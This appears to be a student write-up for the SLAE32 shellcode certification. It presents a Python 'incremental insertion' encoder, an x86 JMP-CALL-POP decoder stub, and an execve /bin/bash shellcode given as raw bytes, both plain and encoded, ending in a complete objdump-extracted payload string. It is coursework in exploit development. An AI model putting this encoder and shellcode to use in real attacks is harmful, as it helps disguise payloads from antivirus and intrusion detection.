SLAE32
| Assignment 4 - Encoder
Description of the assignment
- Create a custom encoding scheme like the “Insertion Encoder” we showed you;
- PoC with using execve-stack as the shellcode to encode with your schema and execute.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-26457
Principal
In this assignment, we will create a custom Incremental Insertion Encoder.
Here an exemple of how the encoder will works :
Original shellcode :
0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0x10
Encoded shellcode :
0x1,0xAA,0x2,0x3,0xAA,0xAA,0x4,0x5,0x6,0xAA,0xAA,0xAA,0x7,0x8,0x9,0x10,0xbb,0xbb,0xbb,0xbb
Encoder
In this section, you will find a python script which will encode the source shellcode in the right format.
The structure of the code is as follows :
1) It retrieves the size of the shellcode and compute how many set of the data there will be, the size of the last set and deducts with those information the number of values remaining in the last set.
2) Then, it builds our encoded shellcode by retrieving set by set the values from our shellcode until the ultimate set.
3) Because the last set might not be completely fulfilled, it will only retrieve from the shellcode the number of values that remains.
4) It inserts the EGG at the end of the shellcode.
5) And finally, it prints our encoded shellcode.
Result:
Code
#!/usr/bin/python
import sys
input = sys.argv[1]
print 'String length : '+ str(len(input))
### Initialization of the Lists
# Retrieve the shellcode and insert it into a list
stringList = [input[i:i+4] for i in range(0, len(input), 4)]
# Empty list for our encoded shellcode
stringListEncoded = []
### First part to compute the number of set, the size of the last set and the number of value in the last set
#Counters
nbSet = 0
length = len(stringList)
valPos = 1
lengthSet = 1
print "length" + str(length)
# Compute how many set of data there will be.
while valPos <= length:
valPos = valPos + lengthSet
lengthSet = lengthSet + 1
nbSet = nbSet + 1
# Compute how many value are in the last set
l = valPos - lengthSet
supplIt = length - (valPos - lengthSet)
print(supplIt) #nb iterations supplementaires
### Second part, build the encoded shellcode
# Counters
nbInsertion = 1
posValue = 0
nbValueToMove = 1
savedPosValue = 0
# Iteration until nbSet-1
while nbInsertion <= (nbSet - 1):
nbVal = 0
while nbVal < nbInsertion : # nb value to move = nb insertion
val = '0x%02s' % stringList[posValue + nbVal][2:]
stringListEncoded.append(val) # Insert the value in the list for the encoded shellcode
nbVal = nbVal + 1
# Encoding insertion 0xaa
nbEncode = 0
while nbEncode < nbInsertion:
encoder = '0x%02x' % 0xaa
stringListEncoded.append(encoder) #insert
nbEncode = nbEncode + 1
# Increment counters
savedPosValue = posValue
posValue = posValue + nbInsertion
nbInsertion = nbInsertion + 1
# Last iteration
it = 0
while it < supplIt:
val = '0x%02s' % stringList[posValue+it][2:]
stringListEncoded.append(val) #insert
it = it + 1
# Insertion of the Egg at the end
for i in range(4):
encoder = '0x%02x' % 0xbb
stringListEncoded.append(encoder) #insert
# Convert the list into the good format and display the result
finalvalue = ""
for val in stringListEncoded:
finalvalue = finalvalue + str(val) + ','
print finalvalue
Decoder shellcode
Now that we have our encoded shellcode, we will have to create our assembly code which go throught our encoded shellcode, retrieves the interesting part, replace them in the desired position and when finally the “Egg” is found, execute it.
First, we used the JMP-CALL-POP technic to retrieve the address of our encoded shellcode and stored it in ESI.
_start:
jmp short calldecoder ; jump to the calldecoder section
.....
...
..
decoder :
pop esi ; retrieve the address of the EncodedShellcode
.....
...
..
calldecoder :
call decoder
EncodedShellcode : db 0x1,0xAA,0x2,0x3,0xAA,0xAA,0x4,0x5,0x6,0xAA,0xAA,0xAA,0x7,0x8,0x9,0x10,0xbb,0xbb,0xbb,0xbb
Then, we initialized our counters and registers.
-
Initialization of our counter EDX to 1 :
mov dl, 0x1 ; Initialize the counter to 1
-
Initialization of the EBX register which represent the number of shift from the ESI register to point to the first value of the set of value that we want to retrieve :
xor ebx, ebx
-
Initialization of the EDI register which point to the address where we want to write
mov edi, esi
The next step is to create our function which will go from on set of values to the next one and check that we didn’t arrive at the end of our shellcode.
To check if we arrived at the end of our shellcode, we inserted an Egg “0xbbbbbbbb” at the end of it, so that we only need to check if the next 4 bytes match with our egg. And in case of a match, we jump to our shellcode to execute it.
nextSetValues :
cmp dword [esi + ebx + 0x4], 0xbbbbbbbb
je EncodedShellcode
In the situation that we didn’t find our egg, we search for the place to write by adding the value of the counter EDX to the EDI register.
lea edi, [edi + edx]
Once we find where we want to write, we need to locate the set of value that we want to retrieve. To find them, we use the arithmetic computation “EBX = EBX + 2*EDX”.
mov al, 2 ; Intialize the value of eax to 2
mul dl ; Multiply EAX with EDX (2*edx)
add eax, ebx ; Add EBX to EAX (EAX = EBX + 2*EDX)
mov ebx, eax ; mov into EBX the valu of EAX
We can notice that the counter’s value is equal to the number of value that we need to copy :
- Counter EDX = 1, number of value to copy is 1
- Counter EDX = 2, number of value to copy is 2
- etc…
So we need to create a function which has another counter (ECX) that copy each value in the set of value that we need to retrieve (ESI + EBX + ECX) into the proper location (EDI + ECX) until that counter is less or equal to the counter EDX.
xor ecx, ecx ; Init the counter to zero
nextValues :
pusha ; Save registers state
; Find the location where we want to write the value
xor eax, eax
lea eax, [edi + ecx] ; Value at EDI + ECX
;Find the value that we want to retrieve and copy in the location previously found
add ebx, ecx ; EBX + ECX
lea edx, [esi + ebx] ; lea edx, [esi + ebx + ecx]
mov bl, byte [edx] ; mov the value into bl
mov byte [eax], bl ; mov the value we temporary stored at bl into al
popa ; Restore the registers
inc ecx ; Increment the counter to go to the next value of the set
cmp ecx, edx ; Compare EDX and ECX
jle short nextValues ; If the same value, no more value to move
Then, if the counter ECX is greater than EDX, we need to go to the next set of value.
inc edx ; Increment the counter
jmp short nextSetValues ; Go to the next set of value to retrieve
In this assessment, we used the JMP-CALL-POP Execve shellcode from the exercise as follows :
\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Then, we used the python encoded (see picture section Encoder) to encoded it.
0x31,0xaa,0xc0,0x50,0xaa,0xaa,0x68,0x62,0x61,0xaa,0xaa,0xaa,0x73,0x68,0x68,0x62,0xaa,0xaa,0xaa,0xaa,0x69,0x6e,0x2f,0x68,0x2f,0xaa,0xaa,0xaa,0xaa,0xaa,0x2f,0x2f,0x2f,0x89,0xe3,0x50,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xcd,0x80,0xbb,0xbb,0xbb,0xbb
Finally we compile our shellcode by doing the following steps :
First, we compiled our assembly code :
nasm -f elf -o ExecEncodedShellcode.o ExecEncodedShellcode.nasm
ld -m elf_i386 ExecEncodedShellcode.o -o ExecEncodedShellcode
Then, we used the objdump tool to retrieve our shellcode intructions :
objdump -d ExecEncodedShellcode|grep '[0-9a-f]:'|sed -n '1!p'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Which gave the following result:
"\xeb\x3f\x31\xf6\x5e\x31\xd2\xb2\x01\x31\xdb\x31\xff\x89\xf7\x31\xc0\x31\xc9\x8d\x3c\x17\xb0\x02\xf6\xe2\x01\xd8\x89\xc3\x31\xc9\x60\x31\xc0\x8d\x04\x0f\x01\xcb\x81\x3c\x1e\xbb\xbb\xbb\xbb\x74\x15\x8d\x14\x1e\x8a\x1a\x88\x18\x61\x41\x39\xd1\x7e\xe2\x42\xeb\xd2\xe8\xbc\xff\xff\xff\x31\xaa\xc0\x50\xaa\xaa\x68\x62\x61\xaa\xaa\xaa\x73\x68\x68\x62\xaa\xaa\xaa\xaa\x69\x6e\x2f\x68\x2f\xaa\xaa\xaa\xaa\xaa\x2f\x2f\x2f\x89\xe3\x50\xaa\xaa\xaa\xaa\xaa\xaa\x89\xe2\x53\x89\xe1\xb0\x0b\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcd\x80\xbb\xbb\xbb\xbb"
And finally we insert the shellcode in our C file, compiled it and launched it :
Result